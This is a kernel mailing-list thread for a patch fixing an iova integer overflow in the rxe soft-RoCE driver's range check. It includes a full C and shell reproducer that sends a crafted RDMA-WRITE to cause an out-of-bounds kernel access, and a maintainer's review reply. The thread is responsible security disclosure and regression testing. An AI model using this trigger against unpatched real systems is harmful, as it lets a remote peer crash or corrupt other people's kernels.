RDMA/rxe: fix mr_check_range() iova overflow (OOB)
Subsystems (3)
cover RDMA/rxe: fix mr_check_range() iova overflow (OOB)
From: Gang Yan <[email protected]>
Hi, Maintainers
I've recently started learning RDMA, using soft-RoCE (rxe) as my study platform. While pair-programming with an AI assistant during this learning, it flagged an integer overflow in mr_check_range(). I dug in, stood up a small reproducer, and -- believing the issue is real and worth fixing -- put together this small series.
Thanks
Gang
Gang Yan (2):
RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB
access
DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
drivers/infiniband/sw/rxe/rxe_mr.c | 3 +- tools/testing/selftests/rdma/Makefile | 8 +- tools/testing/selftests/rdma/config | 2 + .../testing/selftests/rdma/rxe_mr_overflow.c | 187 ++++++++++++++++++ .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++ 5 files changed, 330 insertions(+), 2 deletions(-) create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh
Signature · 1 line
2.43.0
PATCH 1/2 RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB access
From: Gang Yan <[email protected]>
mr_check_range() validates that [iova, iova+length) falls within the registered MR range using wraparound-prone arithmetic:
if (iova < mr->ibmr.iova ||
iova + length > mr->ibmr.iova + mr->ibmr.length)A remote peer can craft an RDMA-Write/Read RETH so that iova + length wraps to 0 (e.g. iova=0xfffffffffffffff8, length=8), bypassing the check. rxe_mr_iova_to_index() then computes a huge index (int idx, only guarded by WARN_ON) and rxe_mr_copy_xarray() dereferences mr->page_info[huge], causing an out-of-bounds read/write and a kernel oops that is triggerable by an unauthenticated remote peer.
Rewrite the check in overflow-safe form; the first two clauses guarantee that the subsequent subtractions do not underflow:
if (iova < mr->ibmr.iova ||
length > mr->ibmr.length ||
iova - mr->ibmr.iova > mr->ibmr.length - length)With the fix, mr_check_range() returns -EINVAL for the crafted iova and the responder reports REMOTE_ACCESS_ERROR instead of triggering the OOB.
--- drivers/infiniband/sw/rxe/rxe_mr.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
drivers/infiniband/sw/rxe/rxe_mr.c +2 -1
@@ -33,7 +33,8 @@ int mr_check_range(struct rxe_mr *mr, u64 iova, size_t length)case IB_MR_TYPE_USER :case IB_MR_TYPE_MEM_REG :if (iova < mr->ibmr.iova || - iova + length > mr->ibmr.iova + mr->ibmr.length) { + length > mr->ibmr.length || + iova - mr->ibmr.iova > mr->ibmr.length - length) {rxe_dbg_mr (mr,"iova/length out of range\n" );return -EINVAL ; }
Signature · 1 line
2.43.0
PATCH 2/2 DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
In reply to Gang YanFrom: Gang Yan <[email protected]>
This patch is for reproduce the OOB issue.
Requirements:
* Kernel built with ``CONFIG_INFINIBAND``, ``CONFIG_INFINIBAND_USER_ACCESS`` and ``CONFIG_RDMA_RXE`` (=m is fine).
* ``rdma_rxe`` module loadable (``modprobe rdma_rxe``).
* Userspace headers/libs to build the helper: ``libibverbs-dev``, ``librdmacm-dev``.
* Root (the script builds a network namespace, a veth pair and two rxe devices).
BUILD and RUN:
cd tools/testing/selftests/rdma
make
# as root:
./rxe_mr_overflow.sh
Expected results (Unpatched kernel (bug present) — FAIL):
The kernel log shows the index WARNING immediately followed by an OOB Oops in the responder path::
WARNING: CPU: N PID: ... at rxe_mr_iova_to_index+0x.../0x... [rdma_rxe]
...
RIP: 0010:rxe_mr_iova_to_index+0x.../0x... [rdma_rxe]
Call Trace:
<TASK>
rxe_mr_copy+0x.../0x... [rdma_rxe]
rxe_receiver+0x.../0x... [rdma_rxe]
do_work+0x.../0x... [rdma_rxe]
...
Oops: general protection fault, probably for non-canonical address 0x...
Workqueue: rxe_wq do_work [rdma_rxe]
RIP: 0010:rxe_mr_copy+0x.../0x... [rdma_rxe]
Call Trace:
<TASK>
rxe_mr_copy+0x.../0x... [rdma_rxe]
rxe_receiver+0x.../0x... [rdma_rxe]
do_work+0x.../0x... [rdma_rxe]--- tools/testing/selftests/rdma/Makefile | 8 +- tools/testing/selftests/rdma/config | 2 + .../testing/selftests/rdma/rxe_mr_overflow.c | 187 ++++++++++++++++++ .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++ 4 files changed, 328 insertions(+), 1 deletion(-) create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh
tools/testing/selftests/rdma/Makefile +7 -1
@@ -1,8 +1,14 @@ # SPDX-License-Identifier: GPL-2.0 -TEST_PROGS := rxe_rping_between_netns.sh \ +TEST_GEN_FILES := rxe_mr_overflow +TEST_PROGS := rxe_mr_overflow.sh \ + rxe_rping_between_netns.sh \ rxe_ipv6.sh \ rxe_socket_with_netns.sh \ rxe_test_NETDEV_UNREGISTER.sh \ rxe_sent_rcvd_bytes.sh include ../lib.mk + +# rxe_mr_overflow uses libibverbs / librdmacm +$(OUTPUT)/rxe_mr_overflow: CFLAGS += -O2 -Wall +$(OUTPUT)/rxe_mr_overflow: LDLIBS += -libverbs -lrdmacm
tools/testing/selftests/rdma/config +2 -0
@@ -1,3 +1,5 @@ CONFIG_TUN CONFIG_VETH CONFIG_RDMA_RXE +CONFIG_INFINIBAND +CONFIG_INFINIBAND_USER_ACCESS
tools/testing/selftests/rdma/rxe_mr_overflow.c new file +187 -0
187 lines not on this page · raw message
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +132 -0
132 lines not on this page · raw message
Signature · 1 line
2.43.0
Re: [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
Quoted 303 lines · Gang Yan
From: Gang Yan <[email protected]>
This patch is for reproduce the OOB issue.
Requirements:
* Kernel built with ``CONFIG_INFINIBAND``, ``CONFIG_INFINIBAND_USER_ACCESS`` and ``CONFIG_RDMA_RXE`` (=m is fine).
* ``rdma_rxe`` module loadable (``modprobe rdma_rxe``).
* Userspace headers/libs to build the helper: ``libibverbs-dev``, ``librdmacm-dev``.
* Root (the script builds a network namespace, a veth pair and two rxe devices).BUILD and RUN:
cdtools/testing/selftests/rdma
make
# as root:
./rxe_mr_overflow.shExpected results (Unpatched kernel (bug present) — FAIL):
The kernel log shows the index WARNING immediately followed by an OOB Oops in the responder path::WARNING: CPU: N PID: ... at rxe_mr_iova_to_index+0x.../0x... [rdma_rxe] ... RIP: 0010:rxe_mr_iova_to_index+0x.../0x... [rdma_rxe] Call Trace: <TASK> rxe_mr_copy+0x.../0x... [rdma_rxe] rxe_receiver+0x.../0x... [rdma_rxe] do_work+0x.../0x... [rdma_rxe] ... Oops: general protection fault, probably for non-canonical address 0x... Workqueue: rxe_wq do_work [rdma_rxe] RIP: 0010:rxe_mr_copy+0x.../0x... [rdma_rxe] Call Trace: <TASK> rxe_mr_copy+0x.../0x... [rdma_rxe] rxe_receiver+0x.../0x... [rdma_rxe] do_work+0x.../0x... [rdma_rxe]Assisted-by Codex: GLM-5.2Signed-off-by Gang Yan <[email protected]>--- tools/testing/selftests/rdma/Makefile | 8 +- tools/testing/selftests/rdma/config | 2 + .../testing/selftests/rdma/rxe_mr_overflow.c | 187 ++++++++++++++++++ .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++ 4 files changed, 328 insertions(+), 1 deletion(-)create mode 100644
tools/testing/selftests/rdma/rxe_mr_overflow.ccreate mode 100644tools/testing/selftests/rdma/rxe_mr_overflow.shtools/testing/selftests/rdma/Makefile +7
-1@@ -1,8 +1,14 @@ # SPDX-License-Identifier: GPL-2.0 -TEST_PROGS := rxe_rping_between_netns.sh \ +TEST_GEN_FILES := rxe_mr_overflow +TEST_PROGS := rxe_mr_overflow.sh \ + rxe_rping_between_netns.sh \ rxe_ipv6.sh \ rxe_socket_with_netns.sh \ rxe_test_NETDEV_UNREGISTER.sh \ rxe_sent_rcvd_bytes.sh include ../lib.mk + +# rxe_mr_overflow uses libibverbs / librdmacm +$(OUTPUT)/rxe_mr_overflow: CFLAGS += -O2 -Wall +$(OUTPUT)/rxe_mr_overflow: LDLIBS += -libverbs -lrdmacmtools/testing/selftests/rdma/config +2
-0@@ -1,3 +1,5 @@ CONFIG_TUN CONFIG_VETH CONFIG_RDMA_RXE +CONFIG_INFINIBAND +CONFIG_INFINIBAND_USER_ACCESStools/testing/selftests/rdma/rxe_mr_overflow.c new file +187
-0@@ -0,0 +1,187 @@ +// SPDX-License-Identifier: GPL-2.0 +/* +* rxe_mr_overflow.c - trigger mr_check_range() iova overflow (OOB) +* +* Companion to rxe_mr_overflow.sh. The server registers a USER/MEM_REG MR +* and accepts an RDMA_CM connection, passing its rkey via private data. The +* client posts a single RDMA-WRITE whose remote_addr is chosen so that +* iova + length wraps to 0 in mr_check_range(): +* +* iova + length = 0xfffffffffffffff8 + 8 = 2^64 = 0 +* +* On an *unpatched* kernel this bypasses mr_check_range(), and the responder +* computes a huge index in rxe_mr_iova_to_index() (WARN_ON(idx >= nbuf)) and +* dereferences mr->page_info[huge] -> out-of-bounds access / oops. +* +* On a *patched* kernel mr_check_range() rejects the crafted iova and the +* client completion is IBV_WC_REM_ACCESS_ERR (remote access error). +* +* Build: see Makefile (needs libibverbs-dev / librdmacm-dev). +*/ +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> +#include <stdint.h> +#include <arpa/inet.h> +#include <infiniband/verbs.h> +#include <rdma/rdma_cma.h> + +#define BAD_ADDR 0xfffffffffffffff8ULL/* iova + WR_LEN wraps to 0 */ +#define WR_LEN 8 +#define MR_LEN 4096 + +struct mr_info { +uint32_t rkey; +uint32_t pad; +uint64_t iova; +} __attribute__((packed)); + +static int wait_ev (struct rdma_event_channel *ec,struct rdma_cm_event **ev, +enum rdma_cm_event_type want) +{ +while (rdma_get_cm_event (ec, ev) ==0 ) { +if ((*ev)->event != want) { +fprintf (stderr,"unexpected event %s (want %s)\n" , +rdma_event_str ((*ev)->event),rdma_event_str (want)); +rdma_ack_cm_event (*ev); +return -1 ; + } +return 0 ; + } +perror ("rdma_get_cm_event" ); +return -1 ; +} + +static int run_server (const char *ip,int port) +{ +struct rdma_event_channel *ec =rdma_create_event_channel (); +struct rdma_cm_id *lid; +struct rdma_cm_event *ev; + +if (!ec) {perror ("event_channel" );return 1 ; } +if (rdma_create_id (ec, &lid,NULL ,RDMA_PS_TCP )) {perror ("create_id" );return 1 ; } + +struct sockaddr_in sin = {0 }; + sin.sin_family =AF_INET ; + sin.sin_port =htons (port); +if (!inet_pton (AF_INET , ip, &sin.sin_addr)) {fprintf (stderr,"bad ip\n" );return 1 ; } + +if (rdma_bind_addr (lid, (struct sockaddr *)&sin)) {perror ("bind_addr" );return 1 ; } +if (rdma_listen (lid,1 )) {perror ("listen" );return 1 ; } +printf ("[server] listen %s:%d dev=%s\n" , ip, port, + lid->verbs ?ibv_get_device_name (lid->verbs->device) :"?" ); +fflush (stdout); + +if (wait_ev (ec, &ev,RDMA_CM_EVENT_CONNECT_REQUEST ))return 1 ; +struct rdma_cm_id *id = ev->id; + +struct ibv_pd *pd =ibv_alloc_pd (id->verbs); +struct ibv_cq *cq =ibv_create_cq (id->verbs,8 ,NULL ,NULL ,0 ); +if (!pd || !cq) {perror ("alloc_pd/create_cq" );return 1 ; } +void *buf =calloc (1 ,MR_LEN ); +struct ibv_mr *mr =ibv_reg_mr (pd, buf,MR_LEN , +IBV_ACCESS_LOCAL_WRITE |IBV_ACCESS_REMOTE_WRITE ); +if (!mr) {perror ("reg_mr" );return 1 ; } + +struct ibv_qp_init_attr qa = {0 }; + qa.send_cq = cq; qa.recv_cq = cq; qa.qp_type =IBV_QPT_RC ; + qa.cap.max_send_wr =4 ; qa.cap.max_recv_wr =4 ; + qa.cap.max_send_sge =2 ; qa.cap.max_recv_sge =2 ; +if (rdma_create_qp (id, pd, &qa)) {perror ("create_qp" );return 1 ; } + +struct mr_info info = { .rkey = mr->rkey, .iova = (uint64_t )(uintptr_t )buf }; +struct rdma_conn_param p = {0 }; + p.private_data = &info; + p.private_data_len =sizeof (info); + p.initiator_depth =1 ; + p.responder_resources =1 ; +if (rdma_accept (id, &p)) {perror ("accept" );return 1 ; } +rdma_ack_cm_event (ev); +printf ("[server] accepted rkey=%#x iova=%#llx; waiting for client write\n" , + mr->rkey, (unsigned long long )info.iova); +fflush (stdout); + +/* The OOB (if unpatched) fires here in the responder path. */ +sleep (5 ); +return 0 ; +} + +static int run_client (const char *ip,int port) +{ +struct rdma_event_channel *ec =rdma_create_event_channel (); +struct rdma_cm_id *id; +struct rdma_cm_event *ev; + +if (!ec) {perror ("event_channel" );return 1 ; } +if (rdma_create_id (ec, &id,NULL ,RDMA_PS_TCP )) {perror ("create_id" );return 1 ; } + +struct sockaddr_in sin = {0 }; + sin.sin_family =AF_INET ; sin.sin_port =htons (port); +if (!inet_pton (AF_INET , ip, &sin.sin_addr)) {fprintf (stderr,"bad ip\n" );return 1 ; } + +if (rdma_resolve_addr (id,NULL , (struct sockaddr *)&sin,5000 )) {perror ("resolve_addr" );return 1 ; } +if (wait_ev (ec, &ev,RDMA_CM_EVENT_ADDR_RESOLVED ))return 1 ; +rdma_ack_cm_event (ev); +if (rdma_resolve_route (id,5000 )) {perror ("resolve_route" );return 1 ; } +if (wait_ev (ec, &ev,RDMA_CM_EVENT_ROUTE_RESOLVED ))return 1 ; +rdma_ack_cm_event (ev); + +struct ibv_pd *pd =ibv_alloc_pd (id->verbs); +struct ibv_cq *cq =ibv_create_cq (id->verbs,8 ,NULL ,NULL ,0 ); +void *buf =calloc (1 ,MR_LEN ); +struct ibv_mr *mr =ibv_reg_mr (pd, buf,MR_LEN ,IBV_ACCESS_LOCAL_WRITE ); +struct ibv_qp_init_attr qa = {0 }; + qa.send_cq = cq; qa.recv_cq = cq; qa.qp_type =IBV_QPT_RC ; + qa.cap.max_send_wr =4 ; qa.cap.max_recv_wr =4 ; + qa.cap.max_send_sge =2 ; qa.cap.max_recv_sge =2 ; +if (rdma_create_qp (id, pd, &qa)) {perror ("create_qp" );return 1 ; } + +struct rdma_conn_param p = {0 }; + p.initiator_depth =1 ; p.responder_resources =1 ; p.retry_count =3 ; +if (rdma_connect (id, &p)) {perror ("connect" );return 1 ; } +if (wait_ev (ec, &ev,RDMA_CM_EVENT_ESTABLISHED ))return 1 ; + +struct mr_info info = {0 }; +if (ev->param.conn.private_data_len >= (int )sizeof (info)) +memcpy (&info, ev->param.conn.private_data,sizeof (info)); +rdma_ack_cm_event (ev); + +/* The malicious RDMA-WRITE: remote_addr makes iova+length wrap. */ +struct ibv_sge sge = { .addr = (uintptr_t )buf, .length =WR_LEN , .lkey = mr->lkey }; +struct ibv_send_wr wr = {0 }, *bad; + wr.wr_id =0xdead ; + wr.opcode =IBV_WR_RDMA_WRITE ; + wr.send_flags =IBV_SEND_SIGNALED ; + wr.sg_list = &sge; + wr.num_sge =1 ; + wr.wr.rdma.remote_addr =BAD_ADDR ; + wr.wr.rdma.rkey = info.rkey; +printf ("[client] post RDMA-WRITE remote_addr=%#llx len=%d rkey=%#x\n" , + (unsigned long long )BAD_ADDR ,WR_LEN , info.rkey); +fflush (stdout); +ibv_post_send (id->qp, &wr, &bad); + +struct ibv_wc wc; +int n, tries =5000 ; +while (tries-- >0 && (n =ibv_poll_cq (cq,1 , &wc)) ==0 ) +usleep (1000 ); +if (n >0 ) +printf ("[client] completion status=%d (%s)\n" , + wc.status,ibv_wc_status_str (wc.status)); +else +printf ("[client] no completion (responder likely crashed)\n" ); +sleep (2 ); +return 0 ; +} + +int main (int argc,char **argv) +{ +if (argc ==3 )/* server <ip> <port> */ +return run_server (argv[1 ],atoi (argv[2 ])); +if (argc ==4 && !strcmp (argv[1 ],"-c" ))/* -c <ip> <port> */ +return run_client (argv[2 ],atoi (argv[3 ])); +fprintf (stderr,"Usage:\n server: %s <ip> <port>\n client: %s -c <ip> <port>\n" , + argv[0 ], argv[0 ]); +return 1 ; +}tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +22
-0@@ -0,0 +1,132 @@ +#!/bin/bash +# SPDX-License-Identifier: GPL-2.0 +# +# Regression test for the mr_check_range() iova overflow in SoftRoCE (rxe). +# +# A remote peer can craft an RDMA-WRITE whose RETH makes iova + length wrap +# to 0, bypassing the old +# +# if (iova + length > mr->ibmr.iova + mr->ibmr.length) +# +# range check in mr_check_range(). The responder then derives a huge page +# index in rxe_mr_iova_to_index() (only WARN_ON-guarded) and dereferences +# mr->page_info[huge] -> out-of-bounds read/write / kernel oops, triggerable +# by an unauthenticated remote peer. +# +# Fixed by rewriting the check in overflow-safe form: +# +# if (iova < mr->ibmr.iova || +# length > mr->ibmr.length || +# iova - mr->ibmr.iova > mr->ibmr.length - length) +# +# Topology: a veth pair across a network namespace, one rxe device on each
tools/testing/selftests/rdma/rxe_mr_overflow.sh line 32
Quoted 10 lines
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +10
-0+# end. The server (ns) registers a USER MR and accepts an RDMA_CM +# connection, passing its rkey/iova in the private data. The client (host) +# posts one RDMA-WRITE with remote_addr = 0xfffffffffffffff8, len = 8. +# +# - Patched kernel: PASS (mr_check_range() rejects the crafted iova; +# the client completion is IBV_WC_REM_ACCESS_ERR; +# no kernel warning/oops in dmesg) +# - Unpatched kernel: FAIL (WARN_ON in rxe_mr_iova_to_index followed by +# an OOB page fault / oops in rxe_mr_copy) +
Thanks a lot. When I run rdma selftests. I got the following:
"
# Warning: file rxe_mr_overflow.sh is not executable "
You need to make rxe_mr_overflow.sh executable.
And please also check and try to fix some warnings from sashiko.
Thanks a lot.
Zhu Yanjun
Quoted 100 lines
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +100
-0+NS="rxe_mrovf" +VETH_NS="vmo-a" +VETH_HOST="vmo-b" +IP_NS="1.1.1.1" +IP_HOST="1.1.1.2" +PORT=4792 +BIN="$(dirname "$(readlink -f "$0")")/rxe_mr_overflow" + +source "$(dirname "$0")/../kselftest/ktap_helpers.sh" + +SRV= + +# Remove the topology this script creates. Idempotent: safe to call even when +# some of the resources no longer exist (e.g. partial setup, prior abort). +rxe_teardown() { + rdma link del rxe1 2>/dev/null + ip netns exec "$NS" rdma link del rxe0 2>/dev/null + ip link delete "$VETH_HOST" 2>/dev/null + ip netns del "$NS" 2>/dev/null +} + +cleanup() { + trap '' INT TERM EXIT # guard against re-entry + # Kill the server first so the client does not block on a dead peer. + [ -n "$SRV" ] && kill "$SRV" 2>/dev/null + wait "$SRV" 2>/dev/null + rxe_teardown + modprobe -r rdma_rxe 2>/dev/null +} +# Cover normal exit, Ctrl+C (SIGINT) and kill (SIGTERM) alike. +trap cleanup INT TERM EXIT + +# Tear down any leftover topology from a previous aborted run (SIGINT, kill +# -9, guest crash, ...) so this script is always re-runnable instead of +# failing on "RTNETLINK answers: File exists". +rxe_teardown + +# --- Prerequisites --- +if [ "$EUID" -ne 0 ]; then + ktap_print_header + ktap_skip_all "needs root" + exit "$KSFT_SKIP" +fi +if ! modinfo rdma_rxe >/dev/null 2>&1; then + ktap_print_header + ktap_skip_all "rdma_rxe module not found" + exit "$KSFT_SKIP" +fi +if [ ! -x "$BIN" ]; then + ktap_print_header + ktap_skip_all "$BIN not built (needs libibverbs-dev / librdmacm-dev)" + exit "$KSFT_SKIP" +fi + +modprobe rdma_rxe >/dev/null 2>&1 + +# --- Topology: veth pair across a netns, one rxe device on each end --- +ip netns add "$NS" +ip link add "$VETH_NS" type veth peer name "$VETH_HOST" +ip link set "$VETH_NS" netns "$NS" + +ip netns exec "$NS" ip addr add "$IP_NS/24" dev "$VETH_NS" +ip netns exec "$NS" ip link set "$VETH_NS" up +ip netns exec "$NS" ip link set lo up +ip addr add "$IP_HOST/24" dev "$VETH_HOST" +ip link set "$VETH_HOST" up + +ip netns exec "$NS" rdma link add rxe0 type rxe netdev "$VETH_NS" +rdma link add rxe1 type rxe netdev "$VETH_HOST" + +if ! ping -c 2 -W 1 "$IP_NS" >/dev/null 2>&1; then + ktap_print_header + ktap_skip_all "no connectivity between host and netns" + exit "$KSFT_SKIP" +fi + +# Only look at warnings produced by this run. +dmesg -C >/dev/null 2>&1 + +# --- Run: server in the netns, client on the host --- +# On an unpatched kernel the crafted WRITE can wedge the responder; wrap both +# sides in timeout() so the script always reaches a verdict and runs cleanup +# instead of hanging on a stuck peer. +ktap_print_header +ktap_set_plan 1 + +ip netns exec "$NS" timeout 30 "$BIN" "$IP_NS" "$PORT" >/dev/null 2>&1 & +SRV=$! +sleep 2 +timeout 30 "$BIN" -c "$IP_NS" "$PORT" >/dev/null 2>&1 +wait "$SRV" 2>/dev/null + +# --- Verdict: any rxe MR-range warning / OOB means the kernel is unpatched --- +if dmesg 2>/dev/null | grep -qE "rxe_mr_iova_to_index|mr_check_range|BUG:.*rxe_mr_copy|KASAN:.*rxe_mr"; then + ktap_test_fail "mr_check_range() iova overflow (UNPATCHED): OOB/WARN in dmesg" +else + ktap_test_pass "mr_check_range() rejected crafted iova (patched)" +fi + +ktap_finished
Re: [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
Quoted 341 lines · Zhu Yanjun
Quoted 340 lines · Gang Yan
From: Gang Yan <[email protected]>
This patch is for reproduce the OOB issue.
Requirements:
* Kernel built with ``CONFIG_INFINIBAND``, ``CONFIG_INFINIBAND_USER_ACCESS`` and ``CONFIG_RDMA_RXE`` (=m is fine).
* ``rdma_rxe`` module loadable (``modprobe rdma_rxe``).
* Userspace headers/libs to build the helper: ``libibverbs-dev``, ``librdmacm-dev``.
* Root (the script builds a network namespace, a veth pair and two rxe devices).BUILD and RUN:
cdtools/testing/selftests/rdma
make# as root: ./rxe_mr_overflow.shExpected results (Unpatched kernel (bug present) — FAIL):
The kernel log shows the index WARNING immediately followed by an OOB Oops in the responder path::WARNING: CPU: N PID: ... at rxe_mr_iova_to_index+0x.../0x... [rdma_rxe] ... RIP: 0010:rxe_mr_iova_to_index+0x.../0x... [rdma_rxe] Call Trace: <TASK> rxe_mr_copy+0x.../0x... [rdma_rxe] rxe_receiver+0x.../0x... [rdma_rxe] do_work+0x.../0x... [rdma_rxe] ... Oops: general protection fault, probably for non-canonical address 0x... Workqueue: rxe_wq do_work [rdma_rxe] RIP: 0010:rxe_mr_copy+0x.../0x... [rdma_rxe] Call Trace: <TASK> rxe_mr_copy+0x.../0x... [rdma_rxe] rxe_receiver+0x.../0x... [rdma_rxe] do_work+0x.../0x... [rdma_rxe]Assisted-by Codex: GLM-5.2Signed-off-by Gang Yan <[email protected]>---
tools/testing/selftests/rdma/Makefile | 8 +- tools/testing/selftests/rdma/config | 2 + .../testing/selftests/rdma/rxe_mr_overflow.c | 187 ++++++++++++++++++.../testing/selftests/rdma/rxe_mr_overflow.sh| 132 +++++++++++++4 files changed, 328 insertions(+), 1 deletion(-)create mode 100644
tools/testing/selftests/rdma/rxe_mr_overflow.ccreate mode 100644tools/testing/selftests/rdma/rxe_mr_overflow.shtools/testing/selftests/rdma/Makefile +3
-1@@ -1,8 +1,14 @@ # SPDX-License-Identifier: GPL-2.0 -TEST_PROGS := rxe_rping_between_netns.sh \ +TEST_GEN_FILES := rxe_mr_overflow +TEST_PROGS := rxe_mr_overflow.sh \ + rxe_rping_between_netns.sh \ rxe_ipv6.sh \ rxe_socket_with_netns.sh \ rxe_test_NETDEV_UNREGISTER.sh \
rxe_sent_rcvd_bytes.sh
include../lib.mktools/testing/selftests/rdma/Makefile +4
-0+ +# rxe_mr_overflow uses libibverbs / librdmacm +$(OUTPUT)/rxe_mr_overflow: CFLAGS += -O2 -Wall +$(OUTPUT)/rxe_mr_overflow: LDLIBS += -libverbs -lrdmacmtools/testing/selftests/rdma/config +0
-0@@ -1,3 +1,5 @@
CONFIG_TUN
CONFIG_VETH
CONFIG_RDMA_RXEtools/testing/selftests/rdma/config +2
-0+CONFIG_INFINIBAND +CONFIG_INFINIBAND_USER_ACCESStools/testing/selftests/rdma/rxe_mr_overflow.c new file +5
-0@@ -0,0 +1,187 @@ +// SPDX-License-Identifier: GPL-2.0 +/* +* rxe_mr_overflow.c - trigger mr_check_range() iova overflow (OOB) +* +* Companion to rxe_mr_overflow.sh. The server registers a USER/MEM_REG MR
+ * and accepts anRDMA_CMconnection, passing its rkey via private data. The
+ * client posts a single RDMA-WRITE whoseremote_addris chosen so that
+ * iova + length wraps to 0 inmr_check_range():
+ *
+ * iova + length =0xfffffffffffffff8+ 8 = 2^64 = 0
+ *
+ * On an *unpatched* kernel this bypassesmr_check_range(), and the responder
+ * computes a huge index inrxe_mr_iova_to_index()(WARN_ON(idx >= nbuf)) and
+ * dereferences mr->page_info[huge] -> out-of-bounds access / oops.
+ *
+ * On a *patched* kernelmr_check_range()rejects the crafted iova and the
+ * client completion isIBV_WC_REM_ACCESS_ERR(remote access error).
+ *
+ * Build: seeMakefile(needs libibverbs-dev / librdmacm-dev).
+ */tools/testing/selftests/rdma/rxe_mr_overflow.c new file +10
-0+#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> +#include <stdint.h> +#include <arpa/inet.h> +#include <infiniband/verbs.h> +#include <rdma/rdma_cma.h> + +#define BAD_ADDR 0xfffffffffffffff8ULL/* iova + WR_LEN wraps to 0 */
tools/testing/selftests/rdma/rxe_mr_overflow.c new file +10
-0+#define WR_LEN 8 +#define MR_LEN 4096 + +struct mr_info { + uint32_t rkey; + uint32_t pad; + uint64_t iova; +} __attribute__((packed)); + +static int wait_ev(struct rdma_event_channel *ec, struct
rdma_cm_event**ev,
+ enumrdma_cm_event_typewant)tools/testing/selftests/rdma/rxe_mr_overflow.c new file +22
-0+{ + while (rdma_get_cm_event(ec, ev) == 0) { + if ((*ev)->event != want) { + fprintf(stderr, "unexpected event %s (want %s)\n", + rdma_event_str((*ev)->event), rdma_event_str(want)); + rdma_ack_cm_event(*ev); + return -1; + } + return 0; + } + perror("rdma_get_cm_event"); + return -1; +} + +static int run_server (const char *ip,int port) +{ + struct rdma_event_channel *ec = rdma_create_event_channel(); + struct rdma_cm_id *lid; + struct rdma_cm_event *ev; + + if (!ec) { perror("event_channel"); return 1; } + if (rdma_create_id(ec, &lid, NULL, RDMA_PS_TCP)) {
perror("create_id"); return 1; }
+
+ structsockaddr_insin = {0};
+ sin.sin_family =AF_INET;
+ sin.sin_port = htons(port);
+ if (!inet_pton(AF_INET, ip, &sin.sin_addr)) {fprintf(stderr, "bad ip\n"); return 1; }
+
+ if (rdma_bind_addr(lid, (struct sockaddr *)&sin)) {perror("bind_addr"); return 1; }
+ if (rdma_listen(lid, 1)) {perror("listen"); return 1; } + printf("[server] listen %s:%d dev=%s\n", ip, port,
+lid->verbs?ibv_get_device_name(lid->verbs->device): "?"); + fflush(stdout);tools/testing/selftests/rdma/rxe_mr_overflow.c new file +19
-0+ + if (wait_ev(ec, &ev, RDMA_CM_EVENT_CONNECT_REQUEST)) return 1; + struct rdma_cm_id *id = ev->id; + + struct ibv_pd *pd = ibv_alloc_pd(id->verbs); + struct ibv_cq *cq = ibv_create_cq(id->verbs, 8, NULL, NULL, 0); + if (!pd || !cq) { perror("alloc_pd/create_cq"); return 1; } + void *buf = calloc(1, MR_LEN); + struct ibv_mr *mr = ibv_reg_mr(pd, buf, MR_LEN, + IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE); + if (!mr) { perror("reg_mr"); return 1; } + + struct ibv_qp_init_attr qa = {0}; + qa.send_cq = cq; qa.recv_cq = cq; qa.qp_type = IBV_QPT_RC; + qa.cap.max_send_wr = 4; qa.cap.max_recv_wr = 4; + qa.cap.max_send_sge = 2; qa.cap.max_recv_sge = 2; + if (rdma_create_qp(id, pd, &qa)) { perror("create_qp"); return 1; } + + struct mr_info info = { .rkey = mr->rkey, .iova =(uint64_t)(uintptr_t)buf };
+ structrdma_conn_paramp = {0};
+ p.private_data = &info;
+ p.private_data_len = sizeof(info);
+ p.initiator_depth = 1;
+ p.responder_resources = 1;
+ if (rdma_accept(id, &p)) {perror("accept"); return 1; } +rdma_ack_cm_event(ev);
+ printf("[server] accepted rkey=%#x iova=%#llx; waiting for client write\n",
+mr->rkey, (unsigned long long)info.iova);
+ fflush(stdout);tools/testing/selftests/rdma/rxe_mr_overflow.c new file +14
-0+ + /* The OOB (if unpatched) fires here in the responder path. */ + sleep(5); + return 0; +} + +static int run_client (const char *ip,int port) +{ + struct rdma_event_channel *ec = rdma_create_event_channel(); + struct rdma_cm_id *id; + struct rdma_cm_event *ev; + + if (!ec) { perror("event_channel"); return 1; } + if (rdma_create_id(ec, &id, NULL, RDMA_PS_TCP)) {
perror("create_id"); return 1; }
+
+ structsockaddr_insin = {0};
+ sin.sin_family =AF_INET; sin.sin_port = htons(port);
+ if (!inet_pton(AF_INET, ip, &sin.sin_addr)) {fprintf(stderr, "bad ip\n"); return 1; }
+
+ if (rdma_resolve_addr(id, NULL, (struct sockaddr *)&sin, 5000)) {perror("resolve_addr"); return 1; }
+ if (wait_ev(ec, &ev, RDMA_CM_EVENT_ADDR_RESOLVED)) return 1; +rdma_ack_cm_event(ev);
+ if (rdma_resolve_route(id, 5000)) {perror("resolve_route"); return 1; }
+ if (wait_ev(ec, &ev, RDMA_CM_EVENT_ROUTE_RESOLVED)) return 1; +rdma_ack_cm_event(ev);
+
+ structibv_pd*pd =ibv_alloc_pd(id->verbs);
+ structibv_cq*cq =ibv_create_cq(id->verbs, 8, NULL, NULL, 0); + void *buf =calloc(1, MR_LEN);
+ structibv_mr*mr =ibv_reg_mr(pd, buf, MR_LEN, IBV_ACCESS_LOCAL_WRITE);
+ structibv_qp_init_attrqa = {0};
